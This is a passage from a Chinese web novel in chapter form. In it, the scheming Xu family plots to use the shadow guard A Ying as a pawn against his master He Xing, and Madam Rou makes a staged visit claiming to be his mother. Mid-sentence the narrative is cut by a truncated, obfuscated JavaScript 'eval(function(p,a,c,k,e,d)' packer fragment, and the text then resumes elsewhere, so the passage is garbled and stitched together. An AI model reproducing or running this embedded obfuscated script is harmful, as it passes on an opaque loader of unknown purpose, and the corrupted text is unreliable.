他张了张嘴,喉咙里发出几声嗬嗬的怪响,最终,所有的话语都化作一声漫长而沉重的叹息: “原来…竟是因为…如此…” 烛火噼啪一声爆开一个灯花,映得他瞬间苍老了许多的脸庞明灭不定。 书房内只剩下柔夫人压抑不住的啜泣声,一声声。 然而,下一秒,旭东那里面颓丧渐渐被一种冰冷的算计所取代。 他缓缓坐在房间内唯一完好的椅子上,手指无意识地摩挲着太师椅扶手上冰冷的玉石镶嵌,视线看着哭泣的柔夫人卫。 “怪物…残缺…?” 他低声重复着这两个词,嘴角却扯出一丝扭曲的弧度, “那又如何?只要他身体里流着我旭东的血,只要他还能握紧剑,就够了。” 柔夫人止住哭泣,惊疑不定地抬头看他:“夫君…你…你这是何意?” “何意?” 旭东转过身,眼神锐利如鹰隼, “贺邢是什么人?剑阁阁主,手握重兵,势力遍布江湖。” “明眼人都能看得出来,如今他明显对这影卫另眼相看,宠爱非常。” “若能借此机会,让那孩子认祖归宗,他旭家血脉的身份,再加上贺邢的这份‘偏爱’,岂不是一座现成的桥梁?” 他越说越快,再也没有往日的稳重,眼中闪烁着贪婪与野心的光芒: “辉儿体弱,荟儿无能,我旭家正需强援!若能将阿影牢牢握在手中,再通过他牵住贺邢,那长生烟的生意,乃至更多…日后在这江湖之上,谁还敢小觑我旭东?” 柔夫人被他话中的疯狂所震惊,颤声道:“可…可那孩子他会愿意吗?他若恨我们遗弃他……” “恨?” 旭东冷笑一声,语气充满了不容置疑的冷酷, “由得他恨吗?他是旭家的血脉,这是铁一般的事实!能认祖归宗,摆脱影卫的卑贱身份,成为旭家的公子,这是多少人求之不得的恩典!他有什么理由拒绝?更何况…” 他顿了顿,眼中闪过一丝精光: “更何况,他不是正得贺邢的宠爱吗?若他成了旭家名正言顺的儿子,与贺邢的关系岂不是更顺理成章?” “这对贺邢来说,也只有好处,没有坏处。他剑阁阁主的情人,总不能永远是个见不得光的影卫。” 他走到柔夫人面前,俯身捏住她的下巴,力道大得让她痛呼出声: “听着,收起你的眼泪和恐惧。过去的事,谁也不准再提,尤其是他的怪物一样的身体,那根本无关紧要。” “从现在开始,你要做的,就是做一个‘意外’找回爱子、悲喜交加、满怀愧疚的母亲。” “你要让他感受到家族的温暖,让他心甘情愿地为我旭家所用,明白吗?” 柔夫人被他眼中冰冷的杀意吓得浑身发抖,只能讷讷地点头:“妾身明…明白了…” 旭东松开手,瞥了她一眼,整理了一下自己的衣袍,又恢复了那副道貌岸然的世家家主模样。 他走到窗边,望着贺邢一行人下榻的流水丹鹤院方向,嘴角勾起一抹势在必得的笑容。 仿佛已经看到了借助阿影捆绑剑阁,势力蒸蒸日上的未来。 原本长生烟的生意,他心里还有些犹疑,只怕是拉不拢贺邢,但现在胜算又多了几分,只要让阿影引吹吹枕头风,说不定还真有可能。 “明日…不,就现在,” 略微有些苍老和驼背的旭东忽然转身,对门外扬声道, “来人!去库房,将那盒百年老参,还有前日得的那对东海明珠取来。再备上几匹最新的苏绣,要最时兴的花样。” 他要对贺邢示好,更要开始布局,一步步地将那把锋利的、属于贺邢的剑,巧妙地、不露痕迹地,收到自己的剑鞘中来。 而第一步,就是要让阿影感受到“家族”的“关怀”与“重视”。 他虽然不太好出面,但是柔夫人是最好出面的了。 这一计,当真是天赐良机。 16. 第16章·到访 夜色浓稠如墨,将旭家山庄重重包裹。 流水丹鹤院内,只闻流水沙沙细响,以及更遥远的梆子声,在寂静中显得格外清晰。 阿影独坐窗边,并未点灯,任由清冷的月光勾勒出他沉默的侧影。 他指尖无意识地抚过小腹,那里近日来的微妙变化只有他自己知晓,像是一个揣在怀里的、随时会引爆的秘密。 他本就不知道该如何面对主人,好在贺邢被旭东以商议要事为由请去,此刻院内格外空寂。 忽然,院外传来细微的脚步声,不止一人。 “阿影大人。” 丹云的声音在门外响起,恭敬中带着谨慎,“柔夫人来访。” 阿影应了一声。 门被轻轻推开。柔夫人走了进来,身后跟着两名低眉顺目的侍女,手中捧着数个沉甸甸的锦盒。 丹云守在门边,并未入内,但也并未离开。 柔夫人今日穿了一身素雅的月白云纹锦袍,发髻间只簪了一支碧玉簪,与白日的华贵相比,显得格外柔和,甚至带着几分刻意的低调与哀婉。 她示意侍女将东西放下。锦盒开启,露出里面的百年老参,参须虬结,形态宛如人形;东海明珠颗颗圆润,足有龙眼大小,莹光流转;还有那几匹云锦苏绣,在微弱的光线下也能看出其上的缠枝牡丹纹样栩栩如生,价值不菲。 “你们都退下吧。”柔夫人轻声吩咐。 侍女们无声退去,丹云也躬身行礼,退至外间,细心地将门虚掩,留有一条缝隙,足够她在需要时能及时察觉里面的动静。 贺邢离开之前,嘱咐她要好好看着阿影,万万不可出任何闪失。 室内只剩下两人。 烛台上噼啪作响,火光跳跃,将两人的影子拉长,投在墙壁上,微微晃动。 柔夫人向前一步,目光落在阿影身上,那眼神复杂得难以形容——有虚伪的哀伤,还有一丝难以掩饰的、对于身有异样者的本能审视,最终都被一种刻意营造的慈母柔情所覆盖。 “好孩子…” 她未语泪先流,用一方丝帕轻轻按了按眼角,声音哽咽。 柔夫人走近两步,目光细细描摹着他的眉眼,眼中水光渐盈: “孩子…你…你这些年,可曾想过自己的亲生父母?可曾怨恨过他们为何将你遗弃?” “说来也怕你见笑,实在是让你久等了。” “这些年,你一个人,是怎么过来的?必定吃了许多苦吧?” 她的话语里充满了暗示, “这世上,骨肉亲情是割不断的。或许,或许你的生身父母是有天大的苦衷,又或许你是被贼人抢走的——” 阿影静立原地,身形挺拔如孤松,面对这突如其来的“关怀”和昂贵礼物,脸上没有半分动容。 他甚至连目光都未曾在那堆礼物上停留片刻。 金玉于他不过是身外之物。 “夫人言重了。” 阿影的声音平稳无波,像深潭静水,不起微澜, “影卫生来无父无母,唯有主人。前尘往事,与我无关。” 他的冷静和拒绝像一堵冰墙,瞬间撞碎了柔夫人精心准备的戏码。 她似乎被这毫不留情的否认刺痛,情绪陡然激动起来,眼泪涌得更凶,身体微微发抖: “不…不是这样的!你有的!你有的!” 她又上前一步,试图去抓阿影的手,指尖几乎要触碰到他冰冷的衣袖,声音里充满了戏剧性的痛苦和忏悔: “孩子,看着我!你看看我!我…我就是你的娘亲啊!是娘对不起你!是娘亲把你弄丢了!” 然而,阿影在她指尖碰到之前,已悄无声息地后退半步,恰好避开了她的触碰。 这个动作干脆利落,带着影卫特有的警惕与疏离。 阿影抬起眼,目光终于落在柔夫人脸上,那眼神深处却只有一片冰冷的荒漠: “夫人。” 他加重了语气,一字一句,清晰无比,“我不过是个影卫而已,您,认错人了。” “不会错的!你的眉眼,你的轮廓,你和荟儿几乎一模一样!” 柔夫人激动地想上前抓住他的手,却被阿影不着痕迹地避开。 可她扑了个空,更是悲从中来, “当年、当年是母亲的错,才叫贼人把你夺走,你原谅母亲可好?如今你既回来了,母亲定会补偿你,让你认祖归宗,你再不必做那刀口舔血的影卫……” 而就在柔夫人情绪激动,泪水涟涟,试图再上前一步抓住阿影的手,进一步诉说那“骨肉情深”之时—— 外间突然传来丹云清晰而恭敬的通报声:“属下拜见阁主。” 什么?!! 贺邢这么快就回来了? 柔夫人像是被兜头泼了一盆冷水,所有未出口的话语都卡在了喉咙里。 她猛地一愣,惊疑不定地转头看向门口。 只见那扇本就未关严实的房门被人从外面“吱呀”一声彻底推开,带着一股不容置疑的力道。 贺邢去而复返,面无表情地站在门口,周身散发着冰冷的寒意,仿佛将外面的夜色和风霜都带了进来。 他深邃的目光如鹰隼般锐利,迅速扫过屋内,将柔夫人的泪痕、阿影的沉默尽收眼底。 柔夫人心中大惊,她万万没料到贺邢会这么快就回来,而且去而复返得如此突然,打乱了她所有的计划和情绪铺垫。 “属下拜见主人。” 阿影见到贺邢,下意识地垂下了眼眸,指尖微微蜷缩。 “嗯。” 贺邢迈步进屋,脸上挂着一层薄薄的、却不达眼底的笑意,径直走到了阿影和柔夫人之间,巧妙而彻底地隔开了两人。 他的身形挺拔,完全将阿影护在了自己的阴影之下。 “师娘深夜到访我这小院,” 贺邢开口,声音平稳, “不知所为何事啊?竟还劳动师娘亲自送来这些?” 他的目光瞥了一眼桌上那明显价值不菲的礼物。 闻言,柔夫人迅速收敛心神,勉强挤出一个得体的笑容,语气尽量自然: “只是担心你们初来乍到,水土不服,过来看看。” “顺便带些薄礼,一点心意罢了。”她试图让自己的关切听起来真诚无害。 贺邢闻言,点了点头,脸上那层假笑未变,语气却不容置疑: “原来如此,多谢师娘挂心。” 他话锋一转,看似随意却掷地有声, “只不过,方才我过去时,师父……气急攻心,咳得厉害,甚至见了些血丝。” “我心中担忧,正欲寻师娘,一问之下才知师娘竟在我这院子里。” 他目光落在柔夫人瞬间变得惊惶的脸上,继续道: “师娘还是赶快过去看看吧。师父那边,怕是离不得人。” 柔夫人一听“咳血”,脸色霎时变得好看起来,也顾不得再演什么母子情深的戏码了。 她手里死死绞着丝帕,心里又惊又怒,暗骂旭东定然是又忍不住抽了那害人的长生烟,才弄至如此地步。 那东西虽利润惊人,却也真是催命的毒药! “怎…怎么会这样!我这就去,这就去!” 她再也维持不住镇定,也顾不上再看阿影一眼,匆匆忙忙地转身离去。 待柔夫人的脚步声彻底消失在院外,贺邢脸上的假笑瞬间消失无踪。 他转过身,目光沉沉地看向垂首而立的阿影。 “怎么回事?” 贺邢的语气里带着明显的不悦, “这么晚了,什么客都见?直接说你睡下了不行?” 他更气的是阿影不懂得推辞,明明身体不适,还要应付这些莫名其妙的人。 阿影依旧垂着眸,声音很低:“毕竟是主人的师娘,属下不敢擅自回绝。” 贺邢挑眉,语气冷了几分: “不必顾及这些虚礼。就像你之前猜测的,这旭家地界恐怕早已被长生烟侵蚀透了。” 他眼中闪过一丝厉色, “既然他们选择碰这害人的东西,罔顾当年惨痛的教训,那所谓的师徒情分也就到头了,不必再放在台面上惺惺作态。” 他顿了顿,语气带着一种近乎冷酷的清醒: “我贺邢至今拜过九位师父,学过十八般武艺。” “与旭家这点渊源,不过是诸多关系网中微不足道的一缕,看在旭家和剑阁往日情分和利益牵扯上,才给他们几分颜面。” 他看向阿影,难得地解释了几句, “但他们若自己不要这脸面,硬要往死路上走,我也没必要拦着。” 阿影始终安静地听着,他知道自己此刻只需做一个合格的听众,没有他置喙的余地。 沉默片刻,贺邢目光重新聚焦在阿影身上,问道: “刚才,她到底跟你说了什么?” 阿影没有犹豫,如实回答,声音平静无波: “柔夫人说,属下是她失散多年的孩子。” 贺邢闻言,眉梢猛地一挑,眼中被更深沉的冰冷与讥诮所覆盖。 他低低地笑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其二,” 贺邢的指尖轻轻点向阿影的心口,目光如炬, “她看出我待你不同,想将你彻底变成旭家安插在我身边的棋子。” “认祖归宗?呵,不过是更方便操控你的手段罢了。一旦你点头,从此你就不再只是我的影卫,更是旭家用来牵制、甚至算计我的工具。” 贺邢的分析冰冷而残酷,却直指核心,将柔夫人那层温情脉脉的面纱撕得粉碎。 阿影静静地听着,脸上没有任何意外或受伤的表情,仿佛贺邢所说的这一切,早已是他心知肚明的答案。 他甚至微微颔首: “属下明白。请主人放心,属下对主人忠心无二,绝不会被其所惑。” 贺邢看着他这毫不动摇的模样,心中那点残存的郁气终于消散无踪。 忽然,贺邢伸手,揉了揉阿影的头发,动作带着连自己都未察觉的柔情: “量你也没那个胆子敢背叛我。” “既然他们先不仁,就别怪我不义。这长生烟的毒瘤,必须彻底铲除。至于旭家……” 贺邢冷哼一声,“从此之后,桥归桥,路归路,是生是死,全看他们的命数了。” 想了想,贺邢的目光落在阿影身上: “从现在起,你不准再单独见旭家任何人,尤其是柔夫人。” “他们若再来纠缠,就让丹云说你去出任务了。一切有我担着。” “是。”阿影垂首领命,没有任何异议。 贺邢满意地点点头,又瞥了一眼桌上那些礼物,眼中闪过一丝厌恶:“这些东西,看着碍眼。丹云!” 守在外间的丹云立刻应声而入:“属下在。” “把这些东西丢到别的地方去。”贺邢吩咐。 “是。” 丹云毫不迟疑,立刻招呼其他侍女进来,手脚利落地将那些锦盒玉盅全部搬走。 屋内很快恢复了之前的整洁,仿佛柔夫人从未出现过。 贺邢这才觉得舒坦了些,他看向窗外沉沉的夜色,又回头看了看脸色依旧有些苍白的阿影,忽然道: “折腾了半宿,饿不饿?” 阿影愣了一下,下意识地摇头,但偏偏肚子咕噜的响了一下,羞愧得阿影耳朵都红了。 贺邢笑了笑,自顾自地朝外吩咐道: “丹云,让小厨房做碗清淡的鸡丝粥来,再配两样小菜。” 他转过身,看着有些怔忡的阿影,语气理所当然: “你晚膳就没用多少,不吃点东西怎么行?”